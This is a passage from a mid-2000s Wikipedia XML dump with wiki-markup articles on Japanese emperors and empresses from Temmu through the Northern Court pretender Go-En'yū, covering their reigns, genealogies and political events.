In his old age, Tenji had a son, Prince Ōtomo, by a low-ranking consort. Since Ōtomo had weak political support from his maternal relatives, the general wisdom of the time held that it was not a good idea for him to ascend to the throne, yet Tenji was obsessed with the idea. In [[671]] Temmu felt himself to be in danger and volunteered to resign the office of crown prince to become a monk. He moved to the mountains in Yoshino, [[Yamato province]] (now in [[Yoshino, Nara]]),  officially for reasons of seclusion.  He took with him his sons and one of his wives, Princess Unonosarara, a daughter of Tenji. However, he left all his other consorts at the capital, Omikyō in [[Omi province]] (today in [[Otsu, Shiga]]). 

A year later, (in [[672]]) Tenji died and Prince Ōtomo ascended to the throne as [[Emperor Kobun|Emperor Kōbun]]. Temmu assembled an army and marched from Yoshino to the east, to attack Omikyō in a counterclockwise movement. They marched through Yamato, [[Iga province|Iga]] and [[Mino province]]s to threaten Omikyō in the adjacent province. The army of Temmu and the army of the young Emperor Kobun fought in the northwestern part of Mino (nowadays [[Sekigahara, Gifu]]). Temmu's army won and Kōbun committed suicide ('''Jinshin-no-ran''').  

In [[673]] Temmu moved the capital back to Yamato province, naming his new capital Asukakiyomihara, and there he ascended to the throne. He elevated Unonosarara to be his empress. He reigned from this capital until his death in 686.

== Politics ==
In ''[[Nihonshoki]]'' Temmu is described as a great innovator, but the neutrality of this description is doubtful, since the work was written under the control of his descendants. It seems clear, however, that Temmu strengthened the power of the emperor and appointed his sons to the highest offices of his government, reducing the traditional influence of powerful clans such as the [[Otomo clan|Ōtomo]] and [[Soga clan|Soga]]. He renewed the system of ''[[kabane]]'', the hereditary titles of duty and rank, but with alterations, including the abolition of some titles. [[Omi]] and [[Muraji]], the highest kabane in the earlier period, were reduced in value in the new hierarchy, which consisted of eight kinds of kabane.  Each clan received a new kabane according to its closeness to the imperial bloodline and its loyalty to Temmu.

Temmu attempted to keep a balance of power among his sons. Once he traveled to Yoshino together with his sons, and there had them swear to cooperate and not to make war on each other. This turned out to be ineffective: one of his sons, Prince Ōtsu, was later executed for treason after the death of Temmu.

Temmu's foreign policy favored the Korean kingdom [[Silla]], which took over the entire Korean peninsula in [[676]]. After the unification of Korea by Silla, Temmu decided to break diplomatic relations with the [[Tang dynasty]] of China, evidently in order to keep on good terms with Silla.

Temmu used religious structures to increase the authority of the imperial throne. During his reign there was increased emphasis on the tie between the imperial household and the [[Ise Shrine]] (dedicated to the ancestor goddess of the emperors, [[Amaterasu]]), and several festivals were financed from the national budget. He also showed favor to [[Buddhism]], and built several large temples and monasteries. On the other hand, all Buddhist priests, monks and nuns were controlled by the state, and no one was allowed to become a monk without the state's permission. This was aimed at preventing cults and stopping farmers from turning into priests.

{{start box}}
{{succession box | before=[[Emperor Kobun|Emperor Kōbun]] | after=[[Empress Jito|Empress Jitō]] | title=[[List of Emperors of Japan|Emperor of Japan]] | years=672-686}}
{{end box}}

[[Category:631 births|Temmu]]
[[Category:686 deaths|Temmu]]
[[Category:Japanese emperors|Temmu]]

[[de:Temmu]]
[[ko:덴무 천황]]
[[it:Temmu imperatore del Giappone]]
[[he:טמו]]
[[nl:Tenmu]]
[[ja:天武天皇]]
[[zh:天武天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Empress Jito</title>
    <id>10427</id>
    <revision>
      <id>38718227</id>
      <timestamp>2006-02-08T04:02:55Z</timestamp>
      <contributor>
        <username>Emperorbma</username>
        <id>12403</id>
      </contributor>
      <comment>+cat Japanese women</comment>
      <text xml:space="preserve">[[Image:Hyakuninisshu 002.jpg|thumb|{{PAGENAME}} (From Ogura Hyakunin Isshu)]]
[[Image:TenmuJitoTomb.jpg|thumb|250px|right|Tomb of Emperor Temmu and Empress Jitō]]

Empress '''Jitō''' (持統天皇 ''Jitō Tennō'') ([[645]] &amp;ndash; December 22, 702{{an|Japanese_dates1 1}}) was the 41st [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. She was the daughter of [[Emperor Tenji]].  She took the throne in [[687]] following the death of her husband, [[Emperor Temmu]], who was also her uncle, in order to ensure the eventual succession of her grandson, [[Emperor Mommu]]. In [[697]] she abdicated in Mommu's favor, but she continued to hold power as a [[cloistered rule]]r, which became a persistent trend in Japanese politics.

==Notes==
#Japanese dates correspond to the traditional [[lunisolar calendar]] used in Japan until 1873. December 22, 702 of the [[Japanese calendar]] corresponds to [[January 13]], [[703]] of the [[Julian calendar]].

{{start box}}
{{succession box | before=[[Emperor Temmu]] | after=[[Emperor Mommu]] | title=[[List of Emperors of Japan|Empress of Japan]] | years=686-697}}
{{end box}}

[[Category:645 births|Jito]]
[[Category:703 deaths|Jito]]
[[Category:Japanese emperors|Jito]]
[[Category:Japanese women|Jito]]
[[Category:Empresses|Jito]]

[[de:Jitō]]
[[it:Jito imperatrice del Giappone]]
[[he:&amp;#1490;'&amp;#1497;&amp;#1496;&amp;#1493;]]
[[nl:Jito]]
[[ja:持統天皇]]
[[zh:&amp;#25345;&amp;#32479;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Mommu</title>
    <id>10428</id>
    <revision>
      <id>23342953</id>
      <timestamp>2005-09-16T14:24:49Z</timestamp>
      <contributor>
        <username>Jefu</username>
        <id>256366</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Emperor Mommu''' (文武天皇 ''Mommu Tennō'') ([[683]]-[[707]]) was the 42nd [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He was a grandson of [[Emperor Temmu]] and [[Empress Jito|Empress Jitō]]. When his father, Crown Prince [[Kusakabe]], died, he was only six years old. He took the throne in [[697]] and ruled until his death by illness in [[707]], at which point he was succeeded by his mother, [[Empress Gemmei]], who was also his [[first cousin once removed]] and his first cousin twice removed. He left a young son by [[Fujiwara]] no Miyako, a daughter of [[Fujiwara no Fuhito]]: Obito no miko (Prince Obito), who eventually became [[Emperor Shomu|Emperor Shōmu]].

{{start box}}
{{succession box | before=[[Empress Jito|Empress Jitō]] | after=[[Empress Gemmei]] | title=[[List of Emperors of Japan|Emperor of Japan]] | years=697-707}}
{{end box}}

[[Category:683 births|Mommu]]
[[Category:707 deaths|Mommu]]
[[Category:Japanese emperors|Mommu]]

[[de:Mommu]]
[[it:Mommu imperatore del Giappone]]
[[ja:&amp;#25991;&amp;#27494;&amp;#22825;&amp;#30343;]]
[[zh:&amp;#25991;&amp;#27494;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Empress Gensho</title>
    <id>10430</id>
    <revision>
      <id>38717916</id>
      <timestamp>2006-02-08T04:00:06Z</timestamp>
      <contributor>
        <username>Emperorbma</username>
        <id>12403</id>
      </contributor>
      <comment>+cat Japanese women</comment>
      <text xml:space="preserve">'''Empress Genshō''' (元正天皇 ''Genshō Tennō'') ([[680]] &amp;ndash; [[April 21]], [[748]]) was the 44th imperial ruler of [[Japan]], according to the traditional order of succession. Her given name was '''Princess Hidaka''' (&amp;#27703;&amp;#39640;&amp;#30343;&amp;#22899;). She was an elder sister of [[Emperor Mommu]] and daughter of Prince [[Kusakabe]] and his wife and later Empress [[Empress Gemmei]], therefore a granddaughter of [[Emperor Temmu]] and [[Empress Jito|Empress Jitō]] by her father and a granddaughter of [[Emperor Tenji]] through her mother. She reigned from [[715]] to [[724]].

Her succession was mainly for the purpose to hold the throne until Prince Obito, the son of her deceased younger brother Mommu, later Emperor [[Emperor Shomu|Emperor Shōmu]], would be mature enough ascend to the throne. Obito was appointed to the crown prince in [[714]] by Empress Gemmei. In the next year, 715, Empress Gemmei, then in her fifties, abdicated in favor of her daughter Gensho because of her age and the youth of Obito who was then 14 years old. Obito remained as the crown prince of the new empress. [[Fujiwara no Fuhito]], the most powerful courtier in Gemmei's court, remained so at her court until his death in [[720]].   After his death, Prince [[Nagaya]], a grandson of Emperor Temmu and her cousin, seized power. This power shift was a background of later conflicts between Prince Nagaya and Fuhito's four sons in the reign of Sh&amp;#333;mu. 

Under her reign, the edition of ''[[Nihonshoki]]'', the first Japanese history book was finished in [[720]]. Organisation of law system was being continued under the initiatives of Fuhito until his death. Later those law and codes were edited and consumed by [[Fujiwara no Nakamaro]], a grandson of Fuhito, and published as ''Yoro ritsuryo'' dated in 718 under the name of Fuhito. Taxation system which had been introduced by [[Empress Jito|Empress Jitō]] in the late of the 7th century, began to malfunction in those days. For compensation of decrease of tax revenue, under the initiative of Prince Nagaya, &quot;Act of possession in three generations&quot; was edicted in [[723]]. Under this act, people were allowed to possess the field they cultivated newly in three generations in maximum. In the fourth generation, the right of possession would disappear and the field belong to the national government. This act was under the purpose to motivate new cultivation, but its effect continued about 20 years.  

In 724 she abdicated in favor of Sh&amp;#333;mu. 

She did not marry during her life and left no child.

{{start box}}
{{succession box | before=[[Empress Gemmei]] | after=[[Emperor Shomu|Emperor Sh&amp;#333;mu]] | title=[[List of Emperors of Japan|Empress of Japan]] | years=715-724}}
{{end box}}

[[Category:680 births|Gensho]]
[[Category:748 deaths|Gensho]]
[[Category:Japanese emperors|Gensho]]
[[Category:Japanese women|Gensho]]
[[Category:Empresses|Gensho]]

[[de:Gensh&amp;#333;]]
[[it:Gensho imperatrice del Giappone]]
[[ja:&amp;#20803;&amp;#27491;&amp;#22825;&amp;#30343;]]
[[zh:&amp;#20803;&amp;#27491;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Empress Koken</title>
    <id>10431</id>
    <revision>
      <id>38718129</id>
      <timestamp>2006-02-08T04:01:58Z</timestamp>
      <contributor>
        <username>Emperorbma</username>
        <id>12403</id>
      </contributor>
      <comment>+cat Japanese women</comment>
      <text xml:space="preserve">'''Empress Kōken''' (孝謙天皇 ''Kōken Tennō'') also '''Empress Shōtoku''' (称徳天皇 ''Shōtoku Tennō'') ([[718]] &amp;ndash; [[August 28]], [[770]]{{an|Japanese_dates1 1}}) was both the 46th and 48th [[Emperors of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. She first ruled as '''Empress Kōken''' from [[749]] to [[758]]. She abdicated in favor of her second cousin, [[Emperor Junnin]], but six years later she took the crown from him and reascended the throne. Her posthumous name for her second reign ([[764]]-[[770]]) was '''Empress Shōtoku'''.

Today, she is remembered chiefly for her affair with a [[Buddhist monk]] named [[Dokyo|Dōkyō]], a man upon whom she heaped titles and power. The affair illustrated the growing power of the [[Buddhist]] priesthood and was a prime factor in [[Emperor Kammu|Emperor Kammu's]] decision to move the capital away from [[Nara, Nara|Nara]] in [[784]].

Shōtoku died of [[smallpox]], after which she was succeeded by her first cousin twice removed, [[Emperor Konin|Emperor Kōnin]]. She should not be confused with [[Prince Shotoku|Prince Shōtoku]] ([[572]]-[[622]]), who was one of the first in Japan to sponsor [[Buddhism]].

==Notes==
#August 28, 770 corresponds to the Fourth Day of the Eighth Month of the Fourth Year of [[Japanese era names|Jingo-keiun]] of the traditional [[lunisolar calendar]] used in Japan until [[1873]].

{{start box}}
{{succession box | before=[[Emperor Shomu|Emperor Shōmu]] | after=[[Emperor Junnin]] | title=[[List of Emperors of Japan|Empress of Japan]] | years=749-758}}
{{succession box | before=[[Emperor Junnin]] | after=[[Emperor Konin|Emperor Kōnin]] | title=[[List of Emperors of Japan|Empress of Japan]] | years=764-770}}
{{end box}}

[[Category:718 births|Koken]]
[[Category:770 deaths|Koken]]
[[Category:Japanese emperors|Koken]]
[[Category:Japanese women|Koken]]
[[Category:Empresses|Koken]]

[[de:Kōken]]
[[fr:Shotoku]]
[[it:Koken imperatrice del Giappone]]
[[nl:Keizerin Koken]]
[[ja:孝謙天皇]]
[[zh:孝謙天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Junnin</title>
    <id>10432</id>
    <revision>
      <id>40620633</id>
      <timestamp>2006-02-21T21:58:21Z</timestamp>
      <contributor>
        <username>Corruptresearcher</username>
        <id>80774</id>
      </contributor>
      <comment>Translated from the version on Feb 19, 2006 of [[ja:淳仁天皇]]</comment>
      <text xml:space="preserve">'''Emperor Junnin''' (淳仁天皇 ''Junnin Tennō'') ([[733]]-[[765]]) was the 47th [[Emperor of Japan|imperial ruler]] of [[Japan]] from [[758]] to [[764]], according to the traditional order of succession.  His name at birth was '''Prince Ōi'''.  In the older Japanese documents, he was usually referred as '''Haitei''' (&amp;#24259;&amp;#24093;), the unthroned emperor and the [[posthumous name]] of '''Emepror Junnin''' was given by [[Emperor Meiji]].

==Life==
He was the seventh son of [[Prince Toneri of Japan|Prince Toneri]], a son of [[Emperor Temmu]]. His father died when he was at the age of three, and he was given no rank nor office of the court.

His fate was changed in [[757]] when [[Empress Koken|Empress Kōken]], his second cousin, appointed him to her crown prince instead of Prince Funado who had been appointed to this position by the will of the [[Emperor Shomu|Emperor Shōmu]]. In 758 he became emperor on the abdication of Koken. 

Six years later she forced him to abdicate and reclaimed the throne. Though he technically reigned, he did not feature on the official [[List of Japanese Emperors]] until the late nineteenth century; he had very little power and was a mere figurehead. He died (or was assassinated) while in exile. In some older Japanese documents, he was usually referred as '''Haitei''' (&amp;#24259;&amp;#24093;), the unthroned emperor. 

In [[1870]] he was titled the Emperor Junnin officially by Emperor Meiji along with [[Emperor Kobun]] and [[Emperor Chukyo]].

{{start box}}
{{succession box | before=[[Empress Koken|Empress Kōken]] | title=[[List of Emperors of Japan|Emperor of Japan]] | after=[[Empress Koken|Empress Shōtoku]] | years=758-764}}
{{end box}}

[[Category:733 births|Junnin]]
[[Category:765 deaths|Junnin]]
[[Category:Japanese emperors|Junnin]]

[[cs:Junnin]]
[[de:Junnin]]
[[it:Junnin imperatore del Giappone]]
[[ja:淳仁天皇]]
[[zh:淳仁天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Heizei</title>
    <id>10434</id>
    <revision>
      <id>33593262</id>
      <timestamp>2006-01-02T13:00:39Z</timestamp>
      <contributor>
        <username>Wames</username>
        <id>351549</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Emperor Heizei''' (平城天皇 ''Heizei Tennō'') ([[774]]-[[824]]) was the 51st [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He ruled from [[806]] until his abdication in [[809]] in favor of his younger brother and crown prince [[Emperor Saga|Prince Kamino]], later named Emperor Saga. His title Heizei derived from the official name of the capital in Nara, Heizei Ky&amp;#333;. He was called often '''Nara no Mikado''', the Emperior of Nara.

He was the son of the [[Emperor Kammu]] and his empress [[Fujiwara no Otomuro]].

Before he ascended to the throne, his liaison with [[Fujiwara no Kusuko]], the mother of his one consort, caused a scandal.  Because of this scandal his father   considered depriving him of the rank of [[crown prince]].

After abdicating, he moved to [[Nara, Nara|Nara]] and planed to move the capital again from [[Kyoto]] to [[Nara, Nara|Nara]]. The Emperor Saga pretended to agree with him, but planned to ignore this idea and reduce the influence of the former emperor. In [[810]], he attempted rebellion in Nara with Kusuko, but was defeated. Kusuko committed suicide and Heizei became a [[Buddhism|Buddhist]] monk. His son, crown prince Takaoka, was deprived his office and Saga appointed his own son to be the new crown prince.

{{japan-bio-stub}}

{{start box}}
{{succession box | before=[[Emperor Kammu]] | title=[[List of Emperors of Japan|Emperor of Japan]] | after=[[Emperor Saga]] | years=806-809}}
{{end box}}

[[Category:774 births|Heizei]]
[[Category:824 deaths|Heizei]]
[[Category:Japanese emperors|Heizei]]

[[cs:Heizei]]
[[de:Heizei]]
[[it:Heizei imperatore del Giappone]]
[[ja:平城天皇]]
[[pl:Heizei]]
[[zh:平城天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Saga</title>
    <id>10435</id>
    <revision>
      <id>36705752</id>
      <timestamp>2006-01-25T22:44:07Z</timestamp>
      <contributor>
        <ip>213.5.21.158</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Saga''' (嵯峨天皇, ''Saga tennō'') ([[786]]&amp;ndash;[[842]]) was the 52nd [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He was the second son of [[Emperor Kammu]], and younger brother of [[Emperor Heizei]], his predecessor. He ruled from [[809]] to [[823]].

Saga was a scholar of the [[Chinese language|Chinese]] classics and, according to legend, the first Japanese emperor to drink [[tea]]. He was renowned as a skillful [[calligraphy|calligrapher]]. Saga succeeded to the throne after the retirement of Heizei due to illness, and soon after his enthronement was himself ill. This gave Heizei an opportunity to foment a rebellion, which Saga put down in a bloody civil war. 

Saga was a supporter of the [[Buddhism|Buddhist]] monk [[Kukai]] and helped him to establish the [[Shingon]] School of Buddhism by granting him the [[Toji]] temple in the capital Heian-ky&amp;#333; (present day [[Kyoto]]).

{{start box}}
{{succession box | before=[[Emperor Heizei]] | title=[[List of Emperors of Japan|Emperor of Japan]] | after=[[Emperor Junna]] | years=809-823}}
{{end box}}

[[Category:786 births|Saga]]
[[Category:842 deaths|Saga]]
[[Category:Japanese emperors|Saga]]
[[Category:Japanese calligraphers]]

[[de:Saga (Kaiser)]]
[[el:Αυτοκράτορας Σάγκα]]
[[fr:Empereur Saga]]
[[it:Saga imperatore del Giappone]]
[[ja:&amp;#23919;&amp;#23784;&amp;#22825;&amp;#30343;]]
[[pt:Imperador Saga do Japão]]
[[zh:&amp;#23919;&amp;#23784;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Junna</title>
    <id>10436</id>
    <revision>
      <id>22552370</id>
      <timestamp>2005-09-04T16:05:53Z</timestamp>
      <contributor>
        <username>Jefu</username>
        <id>256366</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Emperor Junna''' (淳和天皇 ''Junna Tennō'') ([[786]]-[[840]]) was the 53rd [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He was a son of [[Emperor Kammu]]. 
After the rebellion of [[Emperor Heizei]] he became the crown prince of [[Emperor Saga]]. He reigned from [[823]] to [[833]].

{{japan-bio-stub}}

{{start box}}
{{succession box | before=[[Emperor Saga]] | title=[[List of Emperors of Japan|Emperor of Japan]] | after=[[Emperor Nimmyo|Emperor Nimmyō]] | years=823-833}}
{{end box}}

[[Category:786 births|Junna]]
[[Category:840 deaths|Junna]]
[[Category:Japanese emperors|Junna]]

[[de:Junna]]
[[it:Junna imperatore del Giappone]]
[[ja:&amp;#28147;&amp;#21644;&amp;#22825;&amp;#30343;]]
[[zh:&amp;#28147;&amp;#21644;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor of Kogon Japan</title>
    <id>10437</id>
    <revision>
      <id>24821049</id>
      <timestamp>2005-10-05T16:26:30Z</timestamp>
      <contributor>
        <username>Reedy Boy</username>
        <id>449918</id>
      </contributor>
      <minor />
      <comment>updated redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Emperor Kogon]]</text>
    </revision>
  </page>
  <page>
    <title>Komyo</title>
    <id>10438</id>
    <revision>
      <id>25227720</id>
      <timestamp>2005-10-10T21:43:26Z</timestamp>
      <contributor>
        <username>Gryffindor</username>
        <id>206678</id>
      </contributor>
      <text xml:space="preserve">'''Komyo''' can refer to:
#[[Emperor Kōmyō]], the second Northern [[Emperor of Japan]], or pretender.
#[[Empress Komyo|Empress Consort Kōmyō]], the consort of [[Emperor Shomu|Emperor Shōmu]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Emperor Suko</title>
    <id>10439</id>
    <revision>
      <id>28960539</id>
      <timestamp>2005-11-22T04:45:06Z</timestamp>
      <contributor>
        <username>Jefu</username>
        <id>256366</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Emperor Sukō''' (崇光天皇 ''Sukō Tennō'') ([[May 25]], [[1334]] &amp;ndash; [[January 31]], [[1398]]) was the third of [[Northern Court (Japan)|Ashikaga Pretenders]] during the [[Nanboku-cho|Nanboku-cho|Period of the Northern and Southern Courts]].  He claimed the throne from [[November 18]], [[1348]] until [[November 26]], [[1351]].  His personal name was originally '''Masuhito''' (益仁;), but was later changed to '''Okihito''' (興仁).

==Genealogy==
His father was the [[Northern Court (Japan)|Northern Pretender]] [[Emperor Kogon|Emperor Kōgon]].  His predecessor, [[Emperor Komyo|Emperor Kōmyō]] was his uncle, the younger brother of Emperor Kōgon.
*Lady-in-waiting: Niwata (Minamoto) ?? (庭田（源）資子)
**First son: Imperial Prince Fushimi-no-miya Yoshihito (伏見宮栄仁親王) (First Fushimi-no-miya)
**Second son: Prince Okinobu (興信法親王) (Buddhist Priest)
*Court Lady: Lady Yasukuku-dono (安福殿女御)
*Consort: Sanjō ?? (三条局)
**First daughter: ?? (瑞室)
**Third son: Prince Kōsuke ?? (弘助法親王) (Buddhist Priest)

==Life==
In [[1348]], he became [[Crown Prince]].  In the same year, he became Northern Emperor upon the abdication of [[Emperor Komyo|Emperor Kōmyō]].  Although [[Emperor Kogon|Emperor Kōgon]] ruled as [[Cloistered rule|cloistered Emperor]], the rivalry between [[Ashikaga Takauji]] and [[Ashikaga Tadayoshi]] began, and in [[1351]], Takauji returned to the allegiance of the Southern Court, forcing Emperor Sukō to abdicate.  This was intended to reunify the Imperial Line.  However, the peace soon fell apart, and in [[1352]], the Southern Dynasty evacuated Kyoto, abducting with them Retired (Northern) Emperors [[Emperor Kogon|Emperor Kōgon]] and [[Emperor Komyo|Emperor Kōmyō]] as well as Sukō and the Crown Prince, Imperial Prince Naohito, the son of Emperor Kōgon.  Because of this, Takauji made [[Emperor Kogon|Emperor Kōgon]]'s second son Imperial Prince Iyahito emperor (First Fushimi-no-miya).

Returning to Kyoto in [[1357]], Emperor Sukō's son Imperial Prince Yoshihito began to work with the [[Shogunate| Bakufu]] to be named Crown Prince, but the Bakufu instead decided to make Emperor Go-Kōgon's son (the future [[Emperor Go-En'yu|Emperor Go-En'yú]]) Crown Prince instead.

In [[1398]], Emperor Sukō died.  But, 30 years after his death, in 1428, his great-grandson Hikohito (彦仁), as the adopted son of [[Emperor Go-Komatsu]], became [[Emperor Go-Hanazono]], fulfilling Sukō's dearest wish.

==[[Japanese era name|Eras]] during his reign==
(Northern)
*[[Jowa|Jōwa]]
*[[Kan'o|Kan'ō]] or Kannō
(Southern)
*[[Shohei|Shōhei]]

==Southern Court Rivals==
*[[Emperor Go-Murakami]]

{{start box}}
{{succession box | before=[[Emperor Komyo|Emperor Kōmyō]] | title=[[Northern Court (Japan)|Northern Pretender]] | after=[[Emperor Go-Kogon|Emperor Go-Kōgon]] | years=1348-1351}}
{{end box}}

[[Category:1334 births|Suko of Japan]]
[[Category:1398 deaths|Suko of Japan]]
[[Category:Japanese emperors|Suko]]

[[ja:&amp;#23815;&amp;#20809;&amp;#22825;&amp;#30343;]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Go-Kogon</title>
    <id>10440</id>
    <revision>
      <id>31364779</id>
      <timestamp>2005-12-14T19:52:49Z</timestamp>
      <contributor>
        <ip>69.196.4.226</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Go-Kōgon''' (後光厳天皇 ''Go-Kōgon Tennō'') ([[April 14]], [[1336]] &amp;ndash; [[March 12]], [[1374]]) was the fourth of the [[Northern Court (Japan)|Ashikaga Pretenders]] during the [[Nanboku-cho|Period of the Northern and Southern Courts]].  He claimed the throne from [[September 25]], [[1352]] to [[April 9]], [[1371]].  His personal name was '''Iyahito''' (弥仁).

==Genealogy==
He was the second son of the [[Northern Court (Japan)|Northern Pretender]] [[Emperor Kogon|Emperor Kōgon]], and brother of his predecessor, [[Emperor Suko|Emperor Sukō]].  His mother was ?? (秀子), daughter of Sanjō ?? (三条公秀)
*Lady-in-waiting: Nakako (仲子), daughter of Hirohashi (Fujiwara) Kanetsuna (広橋（藤原）兼綱)
**Second son: Imperial Prince Ohito (緒仁親王) ([[Emperor Go-En'yu|Emperor Go-En'yū]])
**Fifth son: Imperial Prince ?? (熈永親王)
**Twelfth son: Prince ?? (尭仁法親王) (Buddhist Priest)
*Consort: ?? (右衛門佐局)
**First son: Imperial Prince Akihito? (亮仁入道親王) (Buddhist Lay Priest)
**Seventh son: Prince ?? (覚増法親王) (Buddhist Priest)
*Consort: Adopted daughter of &amp;#332;gimachi ?? (正親町実継)
**Fourth son: Prince ?? (覚叡法親王) (Buddhist Priest)
**Eighth son: Prince Dōen (道円入道親王) ()
*Consort: Daughter of ?? (橘知繁)
**Tenth son: Prince ?? (明承法親王) (Buddhist Priest)
*Consort: Unknown
**Third son: Prince ?? (行助入道親王) (Buddhist Lay Priest)
**Fifth son: Prince ?? (寛守法親王) (Buddhist Priest)
**Eleventh son: Prince ?? (聖助法親王) (Buddhist Priest)
**Thirteenth son: Prince ?? (寛教入道親王) (Buddhist Lay Priest)
**First daughter: Imperial Princess ?? (治子内親王)
**Second daughter: Imperial Princess ?? (見子内親王)

==Life==
In [[1351]], [[Ashikaga Takauji]] briefly returned to the allegiance of the Southern Dynasty, causing the Southern Court to briefly consolidate control of the Imperial Line.  However, this peace fell apart in [[1352]].  On this occasion, the Southern Court abducted Retired (Northern) Emperors [[Emperor Kogon|Emperor Kōgon]] and [[Emperor Komyo|Emperor Kōmyō]] as well as [[Emperor Suko|Emperor Sukō]] and the Crown Prince, Imperial Prince Naohito, the son of [[Emperor Kogon|Emperor Kōgon]], from [[Kyoto]] to Yoshino, producing a state of affairs in which there was no [[Emperor of Japan|Emperor]] in Kyoto.

Because of this, Imperial Prince Iyahito became emperor in [[1352]] with the support of [[Ashikaga Yoshiakira]].

During this period, the [[Nanboku-cho|Era of the Northern and Southern Courts]], because of the antagonism between the two competing dynasties, public order in Kyoto was disturbed.  The Southern Court repeatedly recaptured Kyoto.  [[Emperor Go-Kogon|Emperor Go-Kōgon]] was forced to repeatedly flee from Kyoto to [[Omi Province|Ōmi]] and other places.  Around the time that [[Ashikaga Yoshimitsu]] was named [[Shogun|Shōgun]] (1368), the Southern Courts power weakened, and order was restored to Kyoto.  Also around this time, the Emperor's authority began to show its weakness.

On April 9, 1371, he abdicated in favor of his son, who became the [[Northern Court (Japan)|Northern Pretender]] [[Emperor Go-En'yu|Emperor Go-En'yū]].  He continued to rule as [[Cloistered rule|Cloistered Emperor]] until he died of illness on March 12, 1374.

==[[Japanese era name| Eras]] of his reign==
(Northern)
*[[Kan'o|Kan'ō]]
*[[Bunna]]
*[[Embun]]
*[[Koan (second)|Kōan]]
*[[Joji|Jōji]]
*[[Oan|&amp;#332;an]]
(Southern)
*[[Shohei|Shōhei]]
*[[Kentoku]]

==Southern Court Rivals==
*[[Emperor Go-Murakami|Emperor Go-Murakami]]
*[[Emperor Chokei|Emperor Chōkei]]

{{start box}}
{{succession box | before=[[Emperor Suko|Emperor Sukō]] | title=[[Northern Court (Japan)|Northern Pretender]] | after=[[Emperor Go-En'yu|Emperor Go-En'yū]] | years=1352-1371}}
{{end box}}

[[Category:1336 births|Go-Kogon of Japan]]
[[Category:1374 deaths|Go-Kogon of Japan]]
[[Category:Japanese emperors|Go-Kogon]]

[[ja:後光厳天皇]]
[[zh:後光嚴天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Emperor Go-En'yu</title>
    <id>10441</id>
    <revision>
      <id>28756521</id>
      <timestamp>2005-11-19T15:46:58Z</timestamp>
      <contributor>
        <username>Jefu</username>
        <id>256366</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Emperor Go-En'yū''' (後円融天皇 ''Go-En'yū Tennō'') ([[January 11]], [[1359]] &amp;ndash; [[June 6]], [[1393]]) was the fifth of the [[Northern Court (Japan)|Ashikaga Pretenders]] during the period of two courts.  He claimed the throne from [[April 9]], [[1371]] to [[May 24]], [[1382]].  His personal name was '''Ohito''' (緒仁).

==Genealogy==
He was the second son of the fourth Northern Pretender [[Emperor Go-Kogon|Emperor Go-Kōgon]].  His mother was Fujiwara Nakako (藤原仲子), daughter of Hirohashi Kanetsuna (広橋兼綱).
*Consort: Itsuko (厳子), daughter of Sanjō Kimitada (三条公忠)
**First son: Imperial Prince Motohito (幹仁親王) ([[Emperor Go-Komatsu]])
**First daughter: Imperial Princess Keiko (珪子内親王)
*Lady-in-waiting Fujiwara Imako (藤原今子)
**Second son: Imperial Prince ?? (道朝親王)

==Life==
In [[1371]], by Imperial Proclamation, he received the rank of &lt;i&gt;shinnō&lt;/i&gt; (親王), or Imperial Prince (and potential heir).  Immediately afterwards, he became emperor upon the abdication of his father, [[Emperor Go-Kogon|Emperor Go-Kōgon]].  There was said to be a disagreement between Go-Kōgon and the retired Northern Emperor [[Emperor Suko|Emperor Sukō]] over the Crown Prince.  With the support of Hosokawa Yoriyuki, who controlled the [[shogunate|Bakufu]], Go-Kōgon's son became the Northern Emperor.

Until 1374, Go-Kōgon ruled as [[Cloistered rule|cloistered emperor]].  In 1368, [[Ashikaga Yoshimitsu]] was named [[shogun| Shōgun]], and with his guardianship, the Imperial Court was stabilized.  In 1382, upon abdicating to [[Emperor Go-Komatsu]], his [[cloistered rule]] began.  Having no actual power, he rebelled, attempting suicide and accusing [[Ashikaga Yoshimitsu]] and his consort Itsuko of adultery.

In 1392, peace with the Southern Court being concluded, the [[Nanboku-cho|Period of the Northern and Southern Courts]] came to an end.  On June 6, 1393, Go-En'yū died.

==[[Japanese era name|Eras]] during his reign==
(Northern)
*[[Oan|Ōan]]
*[[Eiwa]]
*[[Koryaku|Kōryaku]]
*[[Eitoku]]
(Southern)
*[[Kentoku]]
*[[Bunchu|Benchū]]
*[[Tenju]]
*[[Kowa|Kōwa]]

==Southern Court Rivals==
*[[Emperor Chokei|Emperor Chōkei]]

{{start box}}
{{succession box | before=[[Emperor Go-Kogon|Emperor Go-Kōgon]] | title=[[Northern Court (Japan)|Northern Pretender]] | after=[[Emperor Go-Komatsu]] | years=1371-1382}}
{{end box}}

[[Category:Japanese emperors|Go-En'yu]]
[[Category:1359 births|Go-En'yu, Emperor of Japan]]
[[Category:1393 deaths|Go-En'yu, Emperor of Japan]]

[[ja:&amp;#24460;&amp;#20870;&amp;#34701;&amp;#22825;&amp;#30343;]]
